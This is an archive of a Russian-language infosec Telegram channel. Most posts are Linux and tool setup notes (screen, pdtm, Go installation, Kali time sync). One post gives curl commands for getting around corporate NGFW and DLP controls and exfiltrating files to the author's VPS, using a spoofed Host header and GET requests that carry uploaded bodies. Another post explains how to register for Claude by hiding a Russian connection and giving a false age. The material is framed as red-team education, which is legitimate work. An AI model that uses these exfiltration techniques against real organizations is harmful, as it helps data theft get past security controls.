fa
Feedback
KGM's notes

KGM's notes

رفتن به کانال در Telegram

Авторский контент на тему ИБ (web/mobile/social). Делюсь тем, что хотел бы получить сам когда-то. https://kgmnotes.ru/ - полезные статьи и заметки по ИБ https://0xmerch.ru - качественный ИБ-мерч Для связи: @Russian_OSlNT

نمایش بیشتر
669
مشترکین
+124 ساعت
+277 روز
+17530 روز
آرشیو پست ها
Для тех, кто хочет попробовать поработать с Claude (в т.ч. с Claude Code), но пока не готов оформлять подписку, я разыграю в
Для тех, кто хочет попробовать поработать с Claude (в т.ч. с Claude Code), но пока не готов оформлять подписку, я разыграю в эту новогоднюю ночь 3 Guest Pass! Всех с наступающим!

🦾 Как начать путь vibecoding-а и vibehacking-а вместе с Claude Чтобы начать использовать в своей работе передового ИИ-ассист
🦾 Как начать путь vibecoding-а и vibehacking-а вместе с Claude Чтобы начать использовать в своей работе передового ИИ-ассистента Claude, разработанного американской исследовательской компанией Anthropic, необходимо иметь три вещи: 🎭 [REDACTED] для того, чтобы скрыть факт подключения из России к серверам компании; 📧 почтовый ящик, желательно не в домене .ru (можно gmail.com или yandex.com); 📱 зарубежный номер телефона для одноразового приема SMS. Номер телефона понадобится всего один раз (при регистрации) и восстановить доступ к аккаунту с помощью него пока что нет технической возможности - подробнее. 🪪 При регистрации желательно указывать возраст не менее 21 года. 💬 СМС с кодом подтверждения может идти несколько минут. 💎 После регистрации рекомендую сразу перейти на один из платных тарифов и вот почему: 1. При оплате подписки Pro (17$ в месяц) открывается доступ к специализированному инструменту Claude Code (агентный ИИ-инструмент, который генерирует, отлаживает, тестирует и рефакторит код автономно); 2. Также при наличии любой из платных подписок появляется техническая возможность подключения как к Desktop-приложению, так и Claude Code различных MCP-серверов, что позволит LLM от Claude активно взаимодействовать с внешним миром (примеры MCP-серверов). 📖 Также советую ознакомиться со статьей, посвященной оптимальному использованию Claude, чтобы понимать какой тариф вам действительно нужен и как им эффективно пользоваться ⚠️ Чтобы не мучить себя можно начать проксировать трафик только от приложения Claude. Сделать это можно, например, с помощью программы Proxifier (обязательно используйте правило "Block Traffic to All UDP Ports if Matched the Rule"). Данным ПО имеет смысл пользоваться на Windows и MacOS, а на Linux можно обойтись с помощью использования переменных среды HTTP_PROXY и HTTPS_PROXY.

🖥 Запускаем процессы, которые переживут закрытие терминала Довольно часто приходится запускать различные процессы, которые могут работать не один час, и даже не один день (например, какие-нибудь сканирования портов/веб-приложений)! Неужели теперь держать все это время открытым терминал, в котором был запущен данный процесс?! Популярные варианты запуска различных процессов в фоне & и nohup имеют ряд ограничений: первый не переживёт закрытие терминала, второй не позволяет вернуться к процессу и видеть вывод в реальном времени. Лично я использую утилиту screen, которая не имеет описанных выше недостатков. 📥 Установка:
# Debian/Ubuntu/Kali
sudo apt install screen
🚀 Основные команды:
screen -S имя_сессии    # создать сессию с именем
screen -ls              # список всех сессий
screen -r имя_сессии    # подключиться к сессии
screen -d -r сессия     # принудительно отключить другие подключения и подключиться
⌨️ Горячие клавиши внутри screen-сессии:
Ctrl+A, D     — отключиться (detach), процесс продолжит работу
📜 Просмотр истории вывода: Если запущенный в screen процесс выдал много строк, без входа в особый режим (режим скроллинга) их не просмотреть: * Ctrl+A, Esc - войти в режим скроллинга * Стрелки ↑/↓ или PgUp/PgDown - листать историю * Esc - выйти из режима скроллинга 📋 Типичный сценарий использования утилиты:
# === Запускаем сканирование сети ===
screen -S nmap-scan
nmap -sV -sC -p- 192.168.1.0/24 -oA scan_results
# Ctrl+A, D — отключаемся

# === Запускаем бэкап ===
screen -S backup
./long_backup_script.sh
# Ctrl+A, D — отключаемся

# === Закрываем ноутбук, если работали удаленно, либо просто терминал в котором запускали данные процессы, идём пить кофе ===

# === Возвращаемся, смотрим что происходит ===
screen -ls
# There are screens on:
#     12345.nmap-scan    (Detached)
#     12346.backup       (Detached)

# Проверяем прогресс сканирования
screen -r nmap-scan
# Ctrl+A, Esc — листаем вывод, ищем найденные порты
# Ctrl+A, D — возвращаемся

# Проверяем статус бэкапа
screen -r backup
# Видим прогресс копирования файлов
# Если сессия помечена как Attached (забыли отключиться с другого терминала) 
screen -d -r backup # принудительно отключит и подключит сюда
💡 Именование сессий через параметр (-S) - хорошая привычка. Без имён придётся ориентироваться по числовым ID, что неудобно при нескольких параллельных задачах. 🗑 Завершение сессии: Если вы хотите на совсем закрыть виртуальный терминал:
# Изнутри сессии — просто выйти из шелла
exit
# или Ctrl+D

# Или принудительно убить окно
# Ctrl+A, K — подтвердить 'y'

# Снаружи — убить сессию по имени
screen -X -S имя_сессии quit
💡 Как альтернативу screen вы можете самостоятельно изучить работу tmux 🔗 Полезные ссылки: - Официальная документация screen - Официальная документация tmux #linux #tools #screen #terminal — KGM's notes | KGM's notes (EN)

🛠 PDTM - менеджер инструментов от ProjectDiscovery После установки корректного времени на системе и актуальной версии Go я всегда ставлю pdtm со всеми доступными инструментами от ProjectDiscovery. Крайне советую устанавливать его всем, кто занимается анализом защищенности веб и мобильных приложений. PDTM (ProjectDiscovery Tool Manager) упрощает установку, обновление и удаление таких инструментов как nuclei, httpx, subfinder, naabu, dnsx, katana и многих других. 📥 Установка pdtm: 1. Через Go (рекомендуется):
go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest
💡 Если Go не установлен - см. заметку «Установка актуальной версии Go на Ubuntu/Debian/Kali Linux», там же описана настройка PATH для корректной работы утилит ProjectDiscovery. 2. Готовые бинарники: Доступны в разделе Releases: https://github.com/projectdiscovery/pdtm/releases 🚀 Использование pdtm: 1. Установка всех инструментов от ProjectDiscovery:
pdtm -ia
# или
pdtm -install-all
💡 По возможности лучше сразу устанавливать все инструменты. Перед установкой всех инструментов, рекомендуется предварительно доставить необходимые для корректной работы некоторых инструментов зависимости:
# Удовлетворение зависимостей для naabu и shuffledns соответственно 
sudo apt install -y libpcap-dev massdns
2. Установка конкретных инструментов:
pdtm -i nuclei
# или несколько сразу
pdtm -i nuclei,httpx,subfinder
🔄 Обновление: 1. Обновить все установленные инструменты:
pdtm -ua
# или
pdtm -update-all
2. Обновить конкретные инструменты:
pdtm -u nuclei,httpx
3. Обновить сам pdtm:
pdtm -up
# или
pdtm -self-update
🗑 Удаление: 1. Удалить конкретный инструмент:
pdtm -r nuclei
2. Удалить несколько инструментов:
pdtm -r nuclei,httpx,subfinder
3. Удалить все инструменты:
pdtm -ra
# или
pdtm -remove-all
🔗 Полезные ссылки: - GitHub репозиторий - Официальная документация - Доп. руководство по началу работы с pdtm #linux #tools #projectdiscovery #pdtm — KGM's notes | KGM's notes (EN)

Канал RedBlue Notes, который на днях вошел в топ главных ИБ-каналов 2025 г., ведется двумя моими бывшими студентами! Я очень горжусь ими: ребята не только активно развиваются по своим направлениям (SOC/pentest), но и ведут совместно авторский ИБ-канал и даже выпускают свой подкаст! Мне приятно слышать и осознавать то, что моя работа в ВУЗе, мои публичные выступления помогают многим ребятам найти себя в ИБ-отрасли (17:34 - 🥺). P.S. На своем канале я планирую публиковать не только свои какие-то ресерчи по ИБ-тематике, но и выработанные лично мной практические советы по тому как приступить менее болезненно к анализу защищенности веб и мобильных приложений (это не замена Hack The Box Academy или Web Security Academy от PortSwigger, но точно отличная альтернатива перепечатываемым из поста в пост, из wiki в wiki примерам использования различных инструментов).

server.py0.17 KB

🚀 20% усилий - 80% результата при обходе NGFW и DLP-систем Тема интересная, много чего можно перепробовать на самом деле...
+2
🚀 20% усилий - 80% результата при обходе NGFW и DLP-систем Тема интересная, много чего можно перепробовать на самом деле... Будем есть слона по частям и в этом посте начнем с разбора самых базовых способов обхода таких систем: 1) Если в организации запрещено прямое обращение на внешние ресурсы по IP-адресу, а вам необходимо скачать, например, с вашего VPS-сервера некоторый файл (но вы не желаете по какой-то причине заморачиваться с регистрацией домена), то стоит попробовать просто добавить фиктивный HTTP-заголовок Host, например: БЫЛО: curl <URL>/file.txt, где <URL> - это URL-адрес вашего VPS-сервера (протокол:ip:port). Допустим, что запрос, отправленный таким образом, отбрасывается в сети организации не может выйти в сеть Интернет; СТАЛО: curl -H "Host: <DOMAIN>" <URL>/file.txt, где <DOMAIN> - доменное имя любого веб-сайта, доступ к которому не ограничен из сети организации (может это будет github.com или yandex.ru и т.д.); И если вы планируете выгрузить файл на ваш VPS-сервер, то можете это сделать следующим образом: curl -X POST -H "Host: <DOMAIN>" -F "file=@<PATH_TO_FILE>" <URL>/upload, где <PATH_TO_FILE> - путь до файла на диске 2) Если в организации запрещено выгружать файлы на внешние веб-ресурсы, а вам необходимо произвести эксфильтрацию данных на ваш VPS-сервер, то следует попробовать собрать неординарный HTTP-запрос: БЫЛО: curl -X POST -F 'file=@<PATH_TO_FILE>' <URL>/upload, где <URL> - уже может содержать не только IP, но и доменное имя (про регистрацию доменных имен мы поговорим отдельно) - DLP распознает попытку передачи файла с помощью POST-запроса и блокирует его; 📜 Bypass данного ограничения мне пришел после реверса одного из мобильных приложений, в котором использовалась Яндекс Метрика. SDK-модуль Метрики слал на сервера компании Яндекс POST-запросы с GET-параметрами, мне это показалось интересным и я решил реализовать уже свой веб-сервер, который смог бы принимать GET-запросы с телом (как у обычных POST или PUT запросов) и сохранять отправляемые ему файлы СТАЛО: curl -X GET -F "file=@<PATH_TO_FILE>" <URL>/upload (а-ля POST-запрос, но в методе будет указан GET) или curl -X GET -T <PATH_TO_FILE> <URL>/upload (а-ля PUT-запрос, но в методе будет указан GET) Вы можете самостоятельно посмотреть разницу между этими двумя способами отправки файлов с помощью Wireshark. 💡Стоит обратить внимание, что если вы работаете с HTTPS ресурсом, то добавляйте к каждому вызову curl параметр --insecure (или -k), так как зачастую NGFW и DLP-системы в организации будут подсовывать вам свой TLS-сертификат, чтобы читать весь ваш HTTPS-трафик. Оба описанных в данной заметке способа позволили мне обойти различные NGFW и DLP-системы ведущих игроков на западном и отечественном рынках, дальше мы будем еще больше говорить о рабочих способах обхода таких систем В продолжение к этому посту я выложу файл server.py, который позволит вам использовать оба описанных в данной заметке трюка. Базовый запуск: python server.py, если нужна будет помощь, то добавляйте параметр --help. 🔗 Полезные ссылки: - T1567: Эксфильтрация через веб-службу (EN) - T1567: Эксфильтрация через веб-службу (RU) #curl #python #exfiltration #infiltration #exfil #T1567 — KGM's notes | KGM's notes (EN)

🛠 Обновление Go до требуемой версии на Ubuntu/Debian/Kali Linux Если вы уже установили крайнюю версию Go (именно так как это было описано в предыдущей заметке), и хотите откатиться до какой-то определенной прошлой версии, то просто выполните следующие команды:
# Укажите здесь конкретный номер версии, например go1.23.2.linux-amd64.tar.gz
FILENAME="go1.23.2.linux-amd64.tar.gz"

# Скачиваем интересующую нас версию
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"

# Удаляем прошлую установку и распаковываем новую
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"
echo "Go обновлён до версии: $LATEST_VERSION"
go version
✅ Ожидаемый результат:
Go обновлён до версии: go1.23.2
go version go1.23.2 linux/amd64
#linux #go #setup — KGM's notes | KGM's notes (EN)

🛠 Установка актуальной версии Go на Ubuntu/Debian/Kali Linux Если вам нужно установить последнюю версию Go, настроить переменную PATH для корректной работы утилит, устанавливаемых через go install, а также инструментов от ProjectDiscovery (через pdtm), то выполните следующие команды:
# Обновляем список пакетов
sudo apt update

# Устанавливаем вспомогательную утилиту jq
sudo apt install jq -y

# Узнаём последнюю версию Go (stable) с официального JSON API
LATEST_VERSION=$(curl -s https://go.dev/dl/?mode=json | jq -r '.[0].version')

# Формируем имя архива (например: go1.25.4.linux-amd64.tar.gz)
FILENAME="${LATEST_VERSION}.linux-amd64.tar.gz"

# Скачиваем последнюю версию
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"

# Удаляем старую установку и распаковываем новую
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"

# Добавляем пути Go в переменную PATH
echo 'export PATH=/usr/local/go/bin:~/go/bin:~/.pdtm/go/bin:$PATH' >> ~/.profile

# Применяем изменения к текущей сессии
source ~/.profile

# Проверяем установленную версию
echo "Go обновлён до версии: $LATEST_VERSION"
go version
⚠️ Если у вас Kali Linux (где на момент написания заметки по умолчанию используется zsh), то дополнительно выполните следующие команды:
echo 'export PATH=/usr/local/go/bin:~/go/bin:~/.pdtm/go/bin:$PATH' >> ~/.zprofile
source ~/.zprofile
go version
✅ Ожидаемый результат:
Go обновлён до версии: go1.25.4
go version go1.25.4 linux/amd64
🔄 Обновление Go до актуальной версии:
LATEST_VERSION=$(curl -s https://go.dev/dl/?mode=json | jq -r '.[0].version')
FILENAME="${LATEST_VERSION}.linux-amd64.tar.gz"
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"
echo "Go обновлён до версии: $LATEST_VERSION"
go version
💡 PATH уже настроен при первой установке, повторно добавлять его не нужно. 🔗 Полезные ссылки: - Официальный сайт Go - ProjectDiscovery - pdtm #linux #go #setup — KGM's notes | KGM's notes (EN)

🔧 Решение проблемы синхронизации времени в Kali Linux (на VMware) Люблю работать с VMware Workstation Pro и периодически скачиваю новые сборки виртуальных машин с оф. сайта Kali Linux. И каждый раз сталкиваюсь с проблемой рассинхронизации времени 🕓 После долгих экспериментов нашел для себя рабочее решение, которым и пользуюсь теперь на постоянной основе. 📝 Пример установки актуального московского времени на VM с Kali Linux:
# Обновление списка пакетов
sudo apt update

# Установка systemd-timesyncd для NTP-синхронизации
sudo apt install systemd-timesyncd -y

# Установка часового пояса (Москва, UTC+3)
sudo timedatectl set-timezone Europe/Moscow

# Включение автоматической синхронизации времени
sudo timedatectl set-ntp true

# Перезапуск сервиса синхронизации
sudo systemctl restart systemd-timesyncd

# Проверка результата. Убедитесь, что время на вашей системе установилось корректно
timedatectl

# Перезагрузка для применения всех изменений
reboot
🔗 Полезные ссылки: - Где можно скачать VMware Workstation Pro - Готовые виртуальные машины Kali Linux #linux #kali #vmware #setup — KGM's notes | KGM's notes (EN)

🎉 Результаты розыгрыша: 🏆 Победитель: 1. Pavel (@ph1sh3r) ✔️Проверить результаты

Всем привет! Тем, кто еще не успел приобрести билет на предстоящий ZeroNights, предлагаю поучаствовать в розыгрыше индивидуального промокода со скидкой 10% на билет. Затягивать не будем, вечером понедельника определится победитель

Некоторое время назад состоялась публикация моей первой статьи на Хакере: "OTP — не проблема! Прокачиваем фишинг при помощи дыры в Exchange, Telegram-бота и Evilginx2" - по мотивам моего кейса, занявшего 1 место на Awillix Pentest Awards 2025 в номинации "Ловись рыбка". К данному посту я прикладываю pdf-файл с более подробным описанием нюансов использованияTelegram Web App (или Telegram Mini Apps) в фишинговых кампаниях

Запись доклада: "Я тебе LoGiN, а ты мне креды? Пошло? Или почему мы до сих пор уязвимы перед CitrixBleed2"

Kumurzhi_OFFZONE_2023_ENG.pdf3.80 MB

Кумуржи_ОFFZONE_2024_RU.pdf12.18 MB

Запись доклада "Использование Flipper Zero в RedTeam-проектах" UPDATE. Не реклама, просто совет от себя: если вы захотите приобрести Flipper Zero, то можете рассмотреть вариант с Джумом, где они продаются официально! Себе я брал там же за ~15 тыс. рублей несколько лет назад. Цена на декабрь 2025 г. - 17 тыс. рублей

Запись доклада "Одна атака у водопоя, чтоб править всеми"

Мои прошлые доклады: https://files.bi.zone/f/08899fb60ce840c6a1a6/ - Offzone 2023 https://vk.com/video-172362100_456239226 - Offzone 2024

Презентация доклада с Standoff Talks